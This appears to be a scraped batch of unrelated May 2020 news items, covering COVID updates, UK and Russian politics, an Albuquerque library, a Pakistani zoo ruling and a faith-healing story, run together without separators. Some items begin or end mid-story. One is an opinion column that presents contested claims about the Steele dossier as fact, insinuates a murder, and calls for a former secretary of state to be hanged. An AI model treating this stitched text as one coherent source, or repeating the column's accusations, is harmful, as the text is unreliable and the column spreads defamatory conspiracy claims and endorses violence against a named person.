In a recent tribute, Russian filmmaker Vitaly Mansky described Zemtsova as having a very trusting, close relationship with her heroes. He said, She had a very careful position as an observer, not condescending to, but not inflating, her heroes. This let us, the audience, understand and feel the true sound of the time and the circumstances.

This evening, Current Time will screen Zemtsovas last completed film, A Place of Love, in her memory. Additional tributes and screenings of her works are being planned.

Current Time is a 24/7 Russian-language digital and TV network led by RFE/RL in cooperation with VOA. In addition to reporting uncensored news, it is the largest provider of independent, Russian-language films to its audiences. In the 12-month period ending in September 2019, Current Time videos were viewed more than 740 million times across digital platforms.

About RFE/RL

RFE/RL relies on its networks of local reporters to provide accurate news and information to more than 37 million people in 27 languages and 23 countries where media freedom is restricted, or where a professional press has not fully developed. Its videos were viewed over 3.6 billion times on Facebook, YouTube, and Instagram/IGTV in FY2019. RFE/RL is an editorially independent media company funded by a grant from the U.S. Congress through the U.S. Agency for Global Media.

----

FOR MORE INFORMATION, CONTACT:

Joanna Levison in Prague (levisonj@rferl.org, +420.221.122.080)

Martins Zvaners in Washington (zvanersm@rferl.org, +1.202.457.6948)
Japan is preparing to gradually ease its entry restrictions on foreign visitors, with business travelers and researchers being the first to get the green light.

No timeframe has yet been set; determinations will be based not only on Japan containing the virus but on how well other countries and territories have doused the coronavirus threat.

Taiwan, Vietnam and some parts of Europe that have had few infections and have strong economic ties with Japan will be early candidates.

Besides approving visitors from certain regions, Japan's government is considering a three-stage process. After businesspeople and researchers would come international students, with tourists last in line.

On Thursday, Japan's government decided to lift the state of emergency for Osaka, Kyoto and Hyogo prefectures.

Tokyo remains under the decree, as do four other prefectures.

Japan's coronavirus infections are quickly dropping, allowing the government to ease off the emergency lever.

The government is eager to kick-start the economy, which is why Japan is preparing to roll out the not-so-red carpet for business travelers.

As for putting international students in the on-deck circle, the thinking is that they would be able to provide hands for convenience stores and other players in the country's understaffed service sector.
Moscow, May 22 : Head of the Russian region of Chechnya Ramzan Kadyrov has been transferred to Moscow as he was suspected to have contracted coronavirus, according to a source.

"Ramzan Kadyrov has been brought to Moscow with suspected coronavirus infection. He is now placed under medical observation," the source told the TASS News Agency on Friday.

According to the source, the head of Chechnya is in stable condition.

But TASS could not officially verify this information.

Earlier, Baza Telegram channel reported that Kadyrov could allegedly have contracted the virus and was transported to a Moscow hospital on Thursday.

If the virus is confirmed, Kadyrov would be the latest high-profile Russian official to contract the illness, the BBC reported.

Russian Prime Minister Mikhail Mishustin returned to work this week after being treated in hospital for COVID-19.

President Vladimir Putin's press secretary Dmitry Peskov also tested positive, as did culture minister Olga Lyubimova and construction minister Vladimir Yakushev, as well as Yakushev's deputy, Dmitry Volkov.

On Thursday Russia's reported death toll rose by 127 in the previous 24 hours to 3,099, with confirmed cases jumping to 317,554.

It is the second highest number of recorded infections worldwide.

According to Chechen data, 1,026 people have been diagnosed in the republic and 11 have died.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
OUR MAN: Richard Holbrooke and the End of the American Century, by George Packer. (Vintage, 624 pp., $17.95.) If you could read only one book to comprehend Americas foreign policy and its quixotic forays into quicksands over the past 50 years, this would be it, our reviewer, Walter Isaacson, wrote about Packers biography of the controversial diplomat, which was a Pulitzer finalist.

GREEK TO ME: Adventures of the Comma Queen, by Mary Norris. (Norton, 240 pp., $15.95.) This paean to Norriss decades-long obsession with Greece: its language (both modern and ancient), literature, mythologies, people, places, food and monuments, as our reviewer, Vivian Gornick, characterized it, rivals the New Yorker copy editors now famous obsession with punctuation, at which her subtitle winks.

GOOD TALK: A Memoir in Conversations, by Mira Jacob. (One World, 368 pp., $20.) Our Graphic Content columnist Ed Park called the experience of reading these searching, often hilarious tete-a-tetes about what it means to be a person of color  by the Indian-American writer and illustrator (living in New York with her white, Jewish husband and their biracial son)  as effortless as eavesdropping on a crosstown bus.

INLAND, by Tea Obreht. (Random House, 400 pp., $18.) The main characters in Obrehts second novel  a hardened and haunted frontierswoman managing messes left by the men in her orbit and an orphaned Balkan emigre who ends up an outlaw  may not be who were conditioned to think of when we conjure the old American West, our reviewer, Chanelle Benz, noted, but they too are America.
ALBANY  As a photonics program that's now part of NY CREATES turns five years old, it is also getting some national TV exposure.

AIM Photonics was launched in 2015 with a $110 million grant from the Department of Defense that helped to create the $610 million photonics consortium with operations in Albany and Rochester. NY CREATES is the entity that controls real estate and economic development at SUNY Polytechnic Institute.

Photonics are devices that run on light, and AIM Photonics and its member companies are working on making chips that have multiple devices on them such as lasers and optical sensors that use light instead of electrons to operate.

Starting next week, AIM Photonics will be featured on Laurence Fishburne's technology show, Information Matrix, which broadcasts on 200 different public television stations.

The segment was filmed at AIM Photonics' Rochester facility, where the consortium tests and packages its photonics chips that are made at SUNY Poly's clean room facilities in Albany.

"They came to us last year," said Frank Tolic, AIM Photonics' chief marketing officer. "They reached out to us, and they look for exciting or cool technologies. It's a nice way to show what we have done."

There is plenty for AIM Photonics to show off. Last year it helped the Air Force Research Lab make the world's first quantum photonics wafer that will be used to see how photonics might be used in quantum computing.

AIM Photonics (AIM stands for the American Institute for Manufacturing) has also been working with its research partners on a COVIID-19 test that would also use powerful photonic sensors. It has 120-plus members.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

AIM has a program where companies can have their prototype photonics chips made on a wafer in Albany in cooperation with other companies, which makes it more cost-effective than paying for an entire wafer to be produced.

"Today, as New York continues its leadership role in photonics, power electronics, and semiconductors, it is vital to share that story with the nation," Tolic said. "As AIM celebrates our fifth anniversary, we are thrilled to tell the world about how this industry and investment is changing the world in which we live.
Yahoo UK News Video

Rishi Sunak brought an abrupt end to an interview after he was asked if he fully supported Boris Johnson. (Watch the interview above). The Chancellor was giving an interview to Sky News over the future of the prime minister, who has been accused by his former chief adviser Dominic Cummings of lying to Parliament over allegations of lockdown-breaching parties in Downing Street. Johnson rejected the claim in an interview on Tuesday afternoon, insisting he did not know in advance about the event in May 2020, adding that "no one told him" it was against the rules. Asked whether he backed his boss, Sunak replied: Of course I do. The prime minister set out his understanding of this matter in parliament last week and Id refer you to his words. Sue Gray is conducting an inquiry into this matter and I fully support the prime ministers request for patience while that inquiry concludes. Sunak then refused to comment on whether Johnson should quit following Cummings bombshell allegations. Im not going to get into hypotheticals. The Ministerial Code is clear on these matters. Pressed on whether he supported the PM unequivocally, Sunak promptly stood up, took off his microphone abruptly and walked off while his adviser stood in front of the journalist. Sunak is the bookies favourite to replace Johnson and has tried to distance himself from the scandal in recent days. He told Yahoo News UK last week that he had not attended the garden party. And he was noticeably absent from the House of Commons last Wednesday during the prime minister's apology for the anger sparked by the revelations. The Ministerial Code states that ministers who lie to Parliament and do not correct the record should resign. If Johnson is found to have lied, his position would become untenable.
A leading Spanish newspaper reported yesterday that the British government was negotiating with Portugal and Greece to set-up safe corridors so that returning British travellers can avoid the two week quarantine period which has been ordered by the British government.

Spain is not included on the list which has obviously caused outrage amongst the Spanish tourist industry. The report say that Britain was considering the safe corridors with countries which had low coronavirus infection levels. But as the report quite rightly points out Britain has one of the highest rates of infection in the world with the death toll continuing to climb and the situation still not under control.

The two week quarantine period could effectively mean that only a relatively small number of Britons will be heading to our shores this summer, especially if Spain is not included in one of the safe corridors. In Majorca, British tourism is a distant second to German tourism but on the mainland and on Minorca, British tourism reigns supreme so if the Brits cant come this summer then the Spanish economy has serious problems.

I can understand the British government; they want to keep the British public safe but at the same time I understand Spains attitude, they are also doing their best to keep the resident population and visiting tourists safe as well. Many senior figures in the travel industry say that things will not return to normal until 2023....I am inclined to agree.
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The exoneration of General Michael Flynn falls far short of justice being fully served.

Make no mistake. Provided Judge Sullivan is compelled to do the right thing, its a step in the right direction. But, even if Judge Sullivan does the right thing -- allows Flynn to withdraw his coerced plea and dismisses all charges against him -- complete justice requires more than just the innocent being acquitted of false charges perpetrated to serve personal, political, or ideological purposes. It also requires that these wrongs be recognized as the crimes they are and be officially avenged. Only then will damages inflicted by selfish, self-aggrandizing perpetrators upon the sanctity of the rule of law in our country approach being remedied.

American citizens today would do well to consider the book of Esther, found in the Old Testament of the Bible. This relatively short account tells of a high-level bureaucrat of the Persian empire named Haman, second only to the king himself, who abused his position of power because of personal animosity toward a Jewish man named Mordecai. Through lies and deceit, he obtained the kings permission to kill not only Mordecai but all other Jews throughout the Persian empire. To achieve this hideous personal agenda, he enlisted others throughout the empire by promising them the right to plunder all the riches and possessions of any Jews they vanquished.

Thankfully, Hamans criminal conspiracy proved flawed from the outset. First, he failed to take into account that his intended prey was cousin to the kings wife, Queen Esther, whom hed raised as a daughter after the untimely deaths of her parents. He also failed to take into account that Queen Esther was also Jewish and therefore a target of Hamans plot. When Mordecai learned of Hamans evil scheme, he petitioned his adoptive daughter to do what she could to convince the king to put a stop to Hamans scheme. At first Esther was reluctant to help as intervening could result in her own execution. Ultimately, she informed Mordecai she would do it even if it cost her life with the immortal words, If I die, I die. Not only did she follow through with this commitment but arranged for Haman himself to be present when she made her petition to the king. Rather than her own death, she obtained a reprieve for Mordecai, herself, and all her people.

Like the Flynn exoneration, this point in the story is only the first installment in meting out Gods complete justice.

For his personal participation in the planned Jewish massacre, Haman had built a gallows seventy-five feet tall, from which he intended to hang Mordecai high enough to be viewed by the entire city. When the king discovered what Haman had plotted against his queen and her people, he ordered Haman to be hung from the same gallows hed built for Mordecai. The king also gave the Jews who Haman had targeted permission to hold accountable all Hamans co-conspirators throughout the empire, in addition to Hamans ten sons who were hung on the same gallows as their father.

Thats justice.

So it should be with all conspirators who abused their powers and authority to fraudulently frame and destroy the lives of people like General Flynn and many others subjected to similar abuse of power solely because of their allegiance to a duly elected president (e.g. such as KT McFarland, George Papadopoulos, Carter Page, Roger Stone, Paul Manafort).

Quite simply, if the rule of law is to be restored in America, all conspirators who ruined these peoples lives without lawful predication must be indicted and prosecuted for the coup they attempted. Elected officials and bureaucrats who intentionally misuse their official powers to egregiously ruin the lives and reputations of innocent American citizens just because their destruction suits some demented agenda must be acknowledged for what they are -- i.e. criminals. Justice mandates they be indicted and prosecuted in place of those they wrongfully abused. (Whether they are convicted, sentenced or even pardoned are separate issues to be decided later by other people applying the law, facts and equities in each particular defendants case -- but for that to happen they must first be indicted and prosecuted by the DOJ.)

For this predicate of their prosecution to ever occur, the former power, position, and authority of the conspirators must be set aside and considered irrelevant by the Department of Justice. Put differently, the former power, position, or authority they intentionally misused for their own unlawful ends must not be allowed now to afford them any form of unwritten and unjustifiable immunity from prosecution for the crimes they committed under the color of law.

Bottom line -- our government must put an end to allowing a former president, vice-president, first lady, U.S. senator, secretary of state, or unsuccessful presidential candidate to be insulated from being held accountable for the crimes they commit. Consider, for example, that there exists one woman who has held several of these official positions and who knew from the outset that the Steele Dossier, upon which all this collusion delusion was based, was pure fiction -- written and paid for by her minions under her direction for the undeniable purpose of destroying the presidency of Donald Trump. Even so, this woman never said a word to put a stop to the monstrous fraud and damage she and her campaigns work product have foisted upon the nation she claims to love. Not one action was taken by her to stop it or even attempt to correct the record and halt the carnage.

Instead, for over three years now, this one woman has stood by and encouraged others to ruin the lives of people on the basis of a fraud she knowingly initiated and helped to perpetuate. That she has been a former first lady, senator, secretary of state, and candidate for the presidency should not now immunize her from being held accountable for the fraud and the damage she has caused. Like Haman, it is her malicious and malignant abuse of the powers these positions afforded her that -- at her sentencing -- should condemn her to swing from the very same gallows upon which she would have been content to see good people like General Flynn hang.

Until this happens, the service of justice will not be complete. Nor should the Esthers and Mordecais of today be content.

Justice demands accountability for wrongs done, no matter who has committed the crimes, whether it be either you or me -- or even Haman or Hillary.

For those who remain doubtful that this is true, they may want to ask Seth Rich!

Clifford C. Nichols, author of A Barristers Tales, is an attorney licensed in California and New Mexico, and may be contacted at cliff@cliffordnichols.com.
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Overview:

Sugar has been the most widely used sweetener in the world, with its closest substitute being high-fructose corn syrup (HFCS). Tropical beet sugar is a biennial sugar producing tuber crop developed in temperate countries. It constitutes around 30% of the total world production as well as distributed in more than 45 countries. Sugar beet is efficient converter of solar energy to a form that can be used by animals and men. The top ten sugar beet producing countries include Russia, France, U.S., Germany, Ukraine, Turkey, Poland, China, U.K. and Egypt. Beet sugar is an industrial crop utilized in food processing as well as in production of ethanol and biogas. In tropical countries, the sugar beet crop offers precious alternative to sugarcane. The beet sugar market growth in terms of production and consumption has showcased an upliftment over the past few years and is likely to intensify at a rapid pace during the forecast period.

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Global Beet Sugar: Market Segmentation

The Global Beet Sugar market is segmented on the basis of consumption in industry such as cereal, bakery, ice-cream, confectionery, beverage and dairy industry. Over the next few years, beverage segment is anticipated to grab highest market attractiveness in the global beet sugar market till 2026. The global beet sugar market is also segmented on the basis of function such as regular and medical conditions. The global beet sugar market is also segmented on the basis of organizational structure such as unorganized and organized market. The share of former is anticipated to be more over the forecast period.

Global Beet Sugar Market: Growth Drivers

Rising population and personal disposable income is anticipated to bolster the growth of global Beet Sugar market. Apart from this, changing lifestyle along with urbanization and increasing health related disorders are expected to drive the global Beet Sugar market during the forecast period as the consumption will rise. The advent of new class of customers as well as the entry of various new global players is expected to intensify the growth of Beet Sugar market all across the globe during the forecast period.

Global Beet Sugar Market: Regional Outlook

Geographically, the Global Beet Sugar industry can be divided by major regions which include North America, Latin America, Western and Eastern Europe, Asia-Pacific region, Japan, Middle East and Africa. North America contributed the highest share in the global Beet Sugar market in 2015. The size of America has been doubled over the past few years in production of beet sugar. For growers in Western and Central Europe, it is already a high value crop. But in Eastern Europe, while acreage and volumes are maximum, there is significant scope to increase quality of seed. Over the next few years, Asia Pacific is expected to expand at a higher pace during the forecast period. India is expected to be the worlds fastest growing market, driven by increasing standard of living. Apart from this, gains in developing regions such as Middle-east and Africa will also be strengthened by changing standard of living. Advances in Western Europe is expected to benefit from strong incline in number of new housing units.

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Global Beet Sugar Market: Players

Some of the key vendors identified across the value chain of the global Beet Sugar market include syngenta, Renuka beet sugar, Spreckals Sugar Company, Michigan Sugar Company, Amalgamated Sugar Company. Various players are anticipated to appear in the industry with the manufacturing of new and innovative products in the industry. The companies are anticipated to invest in research and development in order to expand the business and to maintain the market share in the global beet sugar market.
Copyright  2020 Albuquerque Journal

Where once night owls danced and imbibed, children will soon gather for story time.

Work has commenced on the long-planned International District library on a Central Avenue lot that for decades housed the Caravan East nightclub.

The project  which will cost $15.5 million to build  will feature books and computers, but also a story plaza and a community room that Albuquerque Cultural Services Director Shelle Sanchez said would be a beautiful nod to the demolished nightclub it replaced.

It is going to have hardwood floors in that community room, and sometimes there might be artists or writers presenting, and sometimes there might be dance classes, she said. So, some of you who are reminiscing, youll have your moment in the new library.

State appropriations, city general obligation bond funding and a $1 million donation from the Freedman Trust made the project possible, officials said during a Thursday groundbreaking attended by several elected leaders.

City Councilor Pat Davis, the neighborhoods representative, said planning for an International District library had already begun by the time he took office in 2015, but there was still much to settle.

When we started, it was about half-funded thanks to legislators and city voters, and community organizers who helped, but it didnt have a home, said Davis, whose predecessor, Rey Garduno, had championed the project. When we saw the historic Caravan becoming vacant, we saw an opportunity not to create another dilapidated building in this neighborhood, but to create the home wed been looking for to be the catalyst for redevelopment of this part of our city.

Mayor Tim Keller called the library a gigantic investment in the International District that required the collaboration of many people over many years. He said he remembered allocating money for the project back during his days as the areas state senator more than five years ago.

The districts current state senator, Democrat Mimi Stewart, said the 25,000-square-foot project is monumental for an area that often feels neglected.

We want as a community  to stop being forgotten and this is one of the best ways you can feel that in our neighborhoods, she said.

The library is expected to open in 15 to 18 months.
The eastern Indian states of Bihar, Jharkhand and Odisha have seen the fastest growth in Covid-19 cases since May 1, when the railways started bringing back stranded migrant workers, compared to any other state in India, shows Covid-19 data from different states.

However, compared to the western Indian states of Maharashtra, Gujarat and Rajasthan and southern state of Tamil Nadu, the absolute number of the cases in the eastern states is still very low. A reason for this could be the very low number of tests per million of the population conducted in these eastern states compared to the more developed western states.

In Bihar, where the number of those testing positive for Sars-CoV-2, which causes Covid-19, has seen a fivefold jump, the total number of positive cases on Friday was 2,105, which is less than the daily increase in positive cases in Maharashtra (on Friday, this was 2,940). Jharkhand, where the cases have seen a fourfold increase in the past 20 days, the total number cases are 309, less than the average per day increase of Covid-19 cases in Gujarat (on Friday, this was 363). In the neighbouring tribal state of Odisha, the cases between May 1 and May 20 went up nine times, taking the total number of cases to 1,189.

Nationally, between May 1 and May 20, the number of Covid-19 cases has increased from 37,262 to 1,18,226. The biggest contribution to the spike came from Maharashtra, Tamil Nadu and Gujarat.

In these eastern states, one of the reason for the sudden increase in cases has been the return of migrant workers, especially from the Covid-19 hot spot areas of Delhi, Mumbai, Ahmedabad, Surat and Chennai. In Bihar, close to 57% of the total cases were of the migrant workers, in Jharkhand it was 48.5% (upto May 21) and in Odisha over 95% total cases from May 1.

In Jharkhand, besides migrant workers, many cases were linked to the Tablighi Jamaat event in Delhi. The states first case was a Malaysian woman, who was part of 22 member group who arrived in Ranchi after attending the event. The group had gone to two mosques in Ranchis Hindpiri locality. Further contact tracing in the area led to discovery of a number of cases. Of the 105 reported in Ranchi, over 80% were concentrated in Hindpiri locality.

On May 1, the railways started Shramik Special trains bringing passengers back and workers were also sent back through buses. Many workers also came back by trucks and walked back to their homes in these states. Since their return, these eastern states saw a spurt in Covid-19 cases, pushing the administration to put lakhs of people in institutional quarantine.

Till Thursday, Bihar has set up 10,353 block quarantine camps, where 7.45 lakh people were living for the stipulated period of 14 days. It is here that the samples of symptomatic persons and others are taken randomly for testing. Preventing the migrants from directly going home, after reaching the state, has helped us contain the spread of the virus, said Anupam Kumar, secretary information and public relations department.

As Bihar has scaled up testing, more Covid-19 cases have been reported. Of the 58,905 samples tested till Friday, 3.57% (2105 cases) had reported positive. This ratio was 1.79%, as on May 3, official data showed. In the last one week, (May 15-May 21), the number of new infections has grown by an average 13% every day, said Bihars principal secretary, health, Uday Singh Kumawat.

In Jharkhand, close to 2.90 lakh people, a majority of them migrant labourers, have been staying in institutional and home quarantine. On May 1, the number of such people was only 93,813. Of the 2.90 lakh people, who have been observing quarantine, 71,123 are in institutional quarantine, shows official health bulletin. It has been noticed that many workers, who were tested positive, had arrived from red zones like Mumbai and Surat, said Dr A K Singh, state president of Indian Medical Association (IMA).

As on May 20, the Covid-19 cases in Jharkhand were spread over 12 of 24 districts. Ranchi district alone had 83 cases then. The pandemic swiftly gripped the other nine districts as migrant workers started reaching home. Of the 309 cases, 147 were of migrant workers who came in Jharkhand after May 5, a bulletin released by the state health department of May 21 said. The seven day growth rate of the disease in Jharkhand stood at 5.84% against the national average of 5.36% and the doubling period too came down to 12.20 days against the national average of 13.28 days. Singh said Jharkhand needs to scale up testing to reflect the true impact of the Covid19 outbreak.

Between May 1 and May 21, more than 2.2 lakh migrant workers returned to Odisha from different states. Ganjam where over 72,000 migrant workers arrived from Gujarat, the number of Covid-19 cases has crossed 300 while Jajpur, another district with significant migrant returnees from Bengal the numbers have gone past 200. Odishas Covid-19 number is expected to rise to 10,000 by June, said Odishas Covid-19 spokesperson, Jayanta Panda, adding that all cases have been reported from quarantine centres and containment zones.

Unlike the western states with a high number of Covid-19 cases, Bihar, Odisha and Jharkhand have low testing rates. As of May 21, Bihar was testing 466 out of every one million people, said Kumawat. Bihar chief minister Nitish Kumar has directed officials to ramp up testing facilities from an average of 2,000 to 10,000 per day, and to test as many migrants as possible. This rate for Jharkhand was 570 per million people and 2660 per million people in Odisha. According to worldometers.info, India is testing 1973 people per million population.

Of the 530,000 migrants that arrived till May 18, Bihar had tested only 1.57% (8,337) of them. Jharkhand has tested about 2% of 2.5 lakh migrant workers, who have returned. This rate for Odisha was 30% of the 2.2 lakh workers, who have returned. As Covid-19 cases surge, health officials say they are now not much perturbed by the rising numbers. If Covid-19 infection will not rise then there will be no herd immunity. For herd immunity, two-thirds of people in a locality or area need to be exposed, which is going to happen, said Panda.
New Delhi: The auspicious occasion of Shani Jayanti marks the birth anniversary of Lord Shani - one of the important Navgrahas and as per Hindu mythology, the Lord of planet Saturn. The day is also known as Shani Amavasya and this year it is on May 22.

Shani Dev is the son of Surya Dev - the sun god. As per Hindu mythology, each day of the week is dedicated to a deity, therefore, Saturday is ruled by Saturn LordShani Dev. There is a mention of the lord in ancient Puranas, medieval texts and scriptures.

According to North Indian Purnimant calendar, the Shani Jayanti is marked on Amavasya Tithi during Jyeshtha month whereas as per South Indian Amavasyant calendar Shani Jayanti falls on Amavasya Tithi during Vaishakha month. The Lunar month name differs but in both these calendars, the date of Shani Jayanti remains the same.

This year, it coincides with Vat Savitri Vrat on May 22 which is observed on Jyeshtha Amavasya in major North Indian states in the country.

Shani Jayanti Puja Timings:

Shani Jayanti on Friday, May 22, 2020

Amavasya Tithi Begins - 09:35 PM on May 21, 2020

Amavasya Tithi Ends - 11:08 PM on May 22, 2020

(as per drikpanchang.com)

Rituals:

On Shani Jayanti, devotees take a bath, wear clean clothes and observe a fast. Later in the day, visit a Shani temple to seek the Lord's blessings. Shani Dev is the god of justice, so whoever works hard, prays with utmost devotion, performs his duties rightfully gets rewarded by the Lord.

All those who suffer from any sort of Shani-related dosha can seek the Lord's blessings by worshipping him on this day. You can also recite Shani Dev mantras and meditate in silence.

You can visit any Shani Temple and offer jaggery and chana (black chickpeas or Gram) to the Lord. Also, black lentils (urad black dal) can be offered to the Lord as well. It is believed that the Saturn God also likes black colour and the mettle Iron (Loha) is associated with him. The devotees can give eatables along with the mettle utensils to the needy also.

Helping the poor and needy on this day can please the Lord and in turn, he will bless you.

Blessings of the Lord:

There is often a sense of fear which is invoked in most people while praying to the lord, as Shani Dev's 'sadhesati' and 'dhaiya' make people dread their fate more.

However, we must understand that the Lord is also another name for justice, so each individual goes through whatever Karma he or she has done.

Pray to Shani Dev with a pure heart, mind and soul.

Here's wishing a very happy Shani Jayanti to all our readers - Jai Shani Dev!
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A special charitable model providing clothes, drinking water, and books for free in Hanoi has resumed after being temporarily shuttered because of the novel coronavirus of disease (COVID-19) pandemic.

Tran Xuan Trieu, the security guard of the store at No. 66 Chua Lang Street in Dong Da District, Hanoi, finds himself getting out of bed at around 6:00 am lately, which is earlier than his usual wake-up time.

Since the store and its aid combo service recently reopened after a COVID-19 closure, Trieu has always been willing to cover more work besides his principal duty.

He spends time setting up tables and chairs in the library, folding clothes and stacking them neatly in the charity cabinet, and checking the water dispenser to timely replace empty water bottles.

This so-called aid combo model is the first of its kind that has sprung up in the capital city, and it has become a convergent point of humanity and sympathy.

The aid combo developed from the original model of a free clothes cabinet, where anyone could donate their unwanted clothing items and take what they need from the cabinet.

Its slogan is, Take if youre in need; Give if you have something in abundance.

Tran Xuan Trieu, the security guard at a charitable store in Hanoi, Vietnam, checks on the stores free clothes cabinet. Photo: Song La / Tuoi Tre

Besides free clothes, a free hot-and-cold water dispenser is always ready to quench the thirst of workers nearby.

One special space in the store is the reading room on the second floor.

The room not only provides young readers with various books but also serve drinks and fruits for free with the aim of creating an interesting reading space for youths.

Ngo Nam Phuong, who lives in Dong Da District, came to donate her clothes to the cause after being impressed by the way the charitable model helps those in need.

I have gone past here many times and found it heartwarming that people are sharing with one another. Its a chance for me to share something with people who are in a more difficult situation than I am, Phuong told Tuoi Tre (Youth) newspaper.

"The charitable model will help spread the love to more people."

A man picks a book from a shelf at a free reading space in Hanoi, Vietnam. Photo: Song La / Tuoi Tre

A girl reads a book at the free aid combo store at No. 66 Chua Lang Street, Dong Da District, Hanoi, Vietnam. Photo: Song La / Tuoi Tre

Tran Xuan Trieu, the security guard at a charitable store in Hanoi, Vietnam, checks on the stores free clothes cabinet. Photo: Song La / Tuoi Tre

Nguyen Thu Huyen donates her clothes to a free clothes cabinet outside a store in Hanoi, Vietnam. Photo: Song La / Tuoi Tre

A man picks clothes from a free clothes cabinet outside a store in Hanoi, Vietnam. Photo: Song La / Tuoi Tre

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Metro Manila (CNN Philippines, May 22)  The Energy Regulatory Commission has directed all power distributors to issue new electricity bills to reflect actual meter readings after numerous consumers complained of "bill shock."

In an advisory released Friday, the ERC said distribution utilities should "conduct actual meter readings and thereafter issue a new billing reflecting the actual consumption and the corresponding amount due."

The revised bills should be released not later than June 8, except when lockdown restrictions in certain areas would prohibit actual meter reading, the ERC said.

Energy Secretary Alfonso Cusi in an online congressional meeting explained that when power distribution companies are unable to conduct meter reading, they can base the consumers' bills to the previous billing. This is the case as the government enforces lockdown measures across the country to prevent further spread of the coronavirus disease.

The Energy Department is looking into reports of sudden spike in billed amounts of the Manila Electric Company. Meralco spokesperson Joe Zaldarriaga earlier explained that the electricity bill for May may be significantly steeper compared to those from the past months since the March and April bills were estimated based on the average daily consumption from December 2019, January 2020, and February 2020  when customers typically consumed less electricity due to cooler weather.

Meanwhile, the consumers' bills in May are based on actual kilowatt per hour consumption, Meralco said, adding that this would really increase since most people are forced to stay home due to quarantine measures and use cooling devices due to the scorching heat.

READ: Meralco explains high electricity bills for May

ERC Chairperson Agnes Devanadera said they issued updated guidelines based on the imposition of modified enhanced community quarantine in Metro Manila and several provinces until end of May.

The ERC has also extended the installment period for households with monthly consumption of 200 kWh and below in February 2020. They are entitled to six equal monthly installments for electricity bills falling within the period of the ECQ and modified ECQ, or from March to May for Metro Manila.

The rest of the consumers are granted up to four monthly installments.

"The first monthly amortization (is) to be made not earlier than 15 June 2020, without penalties, interest and other fees," the ERC said, with subsequent bills to be paid every 15th of the month until fully settled.

The regulatory body also suspended the collection of environmental or universal charge which amounts to 0.0025/kWh.
The Islamabad high court (HC) on Thursday directed the government to shift all animals in the ill-equipped Islamabad Zoo to sanctuaries within a month, including Kaavan, the elephant whose plight had received international attention in the past, amid the coronavirus disease (Covid-19) outbreak.

In a 67-page written verdict by Chief Justice Athar Minallah the court dealt with the relocation of a seized brown bear and Kaavan to a sanctuary. It also ordered the government to immediately put a stop to the shooting of stray dogs in a bid to control their population.

Justice Minallah said that prevailing lockdown restrictions in the country have led to untold miseries to animals that are confined to zoos and their plight is worse than humans.

The court said that Kavaan has endured terrible pain through the years and its sufferings should end at the earliest. It directed Kavaan to be moved to a sanctuary either within Pakistan or approach the authorities in Sri Lanka, where it was born to take proper care of the pachyderm. The judge instructed the Pakistani government to ensure the upkeep of other zoo inmates as well.

The court maintained that it is illegal and unethical to confine animals in a zoo, where facilities are few and far between.

Kavaan was one-year-old when it was gifted to the Islamabad Zoo by Sri Lankan authorities in 1985.

Kaavan was temporarily held in chains in 2002 because zookeepers were concerned about its increasingly violent tendencies, but the pachyderm was freed later that year after an outcry.

Kavaans mate Saheli, who arrived also from Sri Lanka in 1990, died in 2012, and in 2015 it emerged that Kaavan was regularly being chained for several hours in a day.

American entertainer Cher, who spoke out about Kaavans plight for long, tweeted thanking the Pakistani government for the authorities bid to take care of the animal and said: Its so emotional for us that I have to sit down.
Francis Chan says he didn't believe in healing, miracles until recently

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Bestselling author Francis Chan said he was previously cynical of healing ministries until God illuminated the Scriptures to him.

Speaking during the virtual International Association of Healing Ministries conference this week, Chan said, "What I do know is for many years I didn't believe in healing, I didn't believe in miracles, it was pretty much what I was taught in seminary.

Humbly, I have to say, I used to ridicule people who spoke in tongues or prophesied or believed they could heal, even though when I personally read the Scriptures, I saw this available.

Despite being in ministry for some time, Chan revealed that it would take years for him to finally delve into the spiritual side of his faith.

"It took me years, to be honest, with what I saw in Scripture and start pursuing these gifts of the Spirit and I'm still somewhat on that journey. That's why when you first asked me to speak for this healing conference, I go, 'You've got the wrong guy.' I've been praying for gifts of healing for years and it was only like a few months ago that I saw healing for the first time.

Earlier this year, Chan shared that he and a team of other Christians supernaturally healed several people at a rural village in Myanmar, including a little boy and girl who were deaf.

"Every person I touched was healed," the Crazy Love author said in a sermon delivered at Moody Bible Institutes Founders Week Conference.

OK, this is craziness to me. I have never experienced this in 52 years," he testified then. "Im talking like a little boy and a little girl who were deaf. We laid hands, she starts crying and smiling. These are not Christians who have even heard about Jesus, and shes freaking out. We lay hands on her little brother, we lay hands on him, and he starts hearing for the first time.

IAHM International Director Jean-Luc Trachsel commended Chan for his humility, something he said is rare in ministers who operate in the move of the Spirit.

Chan formerly led Cornerstone Community Church, a popular megachurch in California, before he made the shocking decision to step down in 2010. He explained that as he grew as a "celebrity" pastor, he felt he became everything that he believed God hated. He also expressed his frustrations with the megachurch model.

In his appearance at this week's International Healing Conference, Chan, who recently moved to Hong Kong to plant churches among the poor, noted, The only way I know how to describe myself is, I'm a guy who has made so many mistakes in life. Yet the by the grace of God, He just keeps blessing me and my family, and my life and I sense His presence with me and just constantly shocked at what I get to do while I'm still on this earth for however much longer that is.

I try to teach in such a way that I think to myself, 'If this is it and I'm about to see the face of God, what would I say? Did I make much of Him or did I bring glory to myself?

"So all I want people to know is that we have such a holy, all-powerful God that is so far beyond us. And the thought that He is a merciful God and a loving God and desires us, that He revealed that to me, that is the greatest truth about my life. That's the greatest thing you could know about me is that somehow God has revealed His love to me and caused this human being who has made so many mistakes and rejected by so many, including my own father, to just be so secure in the love of Christ.

See his full sit-down interview with Trachsel below.

The May 20-23 International Healing Conference was initially scheduled to take place in Porto, Portugal, but due to the COVID-19 pandemic, it was organized as a virtual conference bringing together some 70 healing ministries from around the world. Along with a healing rally, the event is also featuring such speakers as Bill Johnson of Bethel Church, televangelist Benny Hinn and Ben Fitzgerald of Awakening Europe, among many others.
Once upon a time, in the late 1970s, a Lebanese boy named Jad Abumrad moved to Nashville, Tennessee with his family to escape the civil war. To say he felt like a fish out of water is an understatement.

The podcaster says Dolly Parton was a massive, almost saintly figure in the South. Credit:Christine de Carvalho

The self-confessed scrawny nerd spent hours in his room with a four-track tape recorder, creating soundtracks for imaginary movies. This would hold him in good stead years later when he became the creator and host of Radiolab, one of the worlds most successful and innovative podcasts. The show, which has been tackling big scientific and philosophical questions in inventive ways since 2002, is only becoming more popular in the time of coronavirus.

